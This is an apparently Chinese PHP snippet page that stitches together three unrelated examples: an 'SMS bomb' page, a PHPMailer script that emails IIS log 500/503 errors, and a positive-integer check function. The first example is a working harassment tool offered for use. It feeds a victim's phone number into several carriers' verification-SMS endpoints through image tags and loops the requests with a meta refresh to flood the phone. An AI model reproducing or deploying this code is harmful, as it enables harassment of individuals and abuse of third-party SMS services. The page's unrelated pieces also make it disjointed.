本节内容:
一例php实现的短信炸弹的代码。
例子:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
<meta http-equiv="Cache-Control" content="max-age=0" forua="true"/>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta http-equiv="Expires" content="0"/>
<link rel="stylesheet" href="http://www./t.css" type="text/css"/>
<title>php短信炸弹-www.</title>
</head>
<body>
<div ><a href="/">首页</a>>移动短信炸弹</div><div >
<div >请填写要炸的手机号码(此炸弹只有移动号才能用,是免费的,但手机必须要开启图片显示)
</div></div>
<div >
--=手机号码=--</div>
<div >
<form method='GET' action='/blog_article/index.html'>
<input name='hm' value='' size='15' maxlength='10000'/><input type="hidden" name="c" value="1"/>
<br/><input type='submit' name='ok' value='[开始狂炸]'/>
</form>
<?php
error_reporting(0);
$v=$_GET['c'];
$a=$v+1;
$e=$a-1;
$d=$_GET['hm'];
?>
<div ><?php
if($d>1){
echo"<br/>OK,成功轰炸$d,第$e.次";
echo "<img src='http://xxx.com/user/getvalidcode2.do?phonenumber=$d' alt=''/><img src='http://mm.xxx.cn/portal/web/SmsRandomSendAction.do?msisdn=$d' alt=''/><img src='http://www.gd.xxx.com/login/sendSMSRND.jsp?_logonName=$d' alt=''/>";
echo"<meta http-equiv=refresh content='0; url=dxzd.php?hm=$d&c=$a'>";
}else{
echo"<br/>请输入手机号码!";
}
?>
</div>
</div>
</body>
</html>
本例代码,基于phpmailer类实现,设置个计划任务执行,自己设置要监控的错误代码。
可用于排查服务器问题,检测iis默认日志、nginx日志等,请根据自己的需要做修改。
有关phpmailer类的用法,请参考文章:
例子:
<?php
/**
* 监控日志 500 503错误
* by www.
*/
include("PHPMailer/class.phpmailer.php");
//error_reporting(0);
$mail = new PHPMailer();
$mail->IsSMTP(); // telling the class to use SMTP
$mail->SMTPDebug = 1; // enables SMTP debug information (for testing)
// 1 = errors and messages
// 2 = messages only
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->Host = "smtp.126.com"; // sets the SMTP server
$mail->Port = 25; // set the SMTP port for the GMAIL server
$mail->Username = "xxx@126.com"; // SMTP account username 邮箱用户名
$mail->Password = "xxxxxxxxx"; // SMTP account password 密码
$mail->SetFrom('xxxxxxx@126.com', '报错');//
$now = "u_ex".date("ymdH").".log";
try{
$log = file("F:/iis-log/W3SVC2/".$now);//日志路径自己改
}catch(Exception $e){
echo "no file ";
exit;
}
$error = array();
$start = date("i",time()-120);
$end = date("i");
if($start > $end){
exit;
}
$aa = range($start,$end);
$code = mkstr($aa);
echo $code;
$pattern = "/($code).*(\s500\s|\s503\s)/";//这里自己修改
$i = 0;
foreach($log as $k => $v){
if(preg_match($pattern,$v)){
$error[] = $v;
echo $v;
$i += 1;
}
}
if(!empty($error)){
$content = implode("<br/>",$error);
$mail->Subject="$i errors ";
$mail->AddAddress("xxxxxxxxxx@163.com");
$mail->AddAddress("xxxxxxxx@126.com");
$mail->MsgHTML($content);
$mail->send();
}
echo "\nover";
function mkstr($arr){
$code = '';
foreach($arr as $k => $e){
$code .="\:$e\:|";
}
$code = rtrim($code,"|");
return $code;
}
例子:
//判断是否是正整数
function check_zzs($varnum){
$string_var = "0123456789";
$len_string = strlen($varnum);
if(substr($varnum,0,1)=="0"){
return false;
die();
}else{ // www.
for($i=0;$i<$len_string;$i++){
$checkint = strpos($string_var,substr($varnum,$i,1));
if($checkint===false){
return false;
die();
}
}
return true;
}
}
>>> 相关阅读 <<<
php判断正整数的函数代码
php取整数的方法与实例总结
php取整数的几种方式(实例)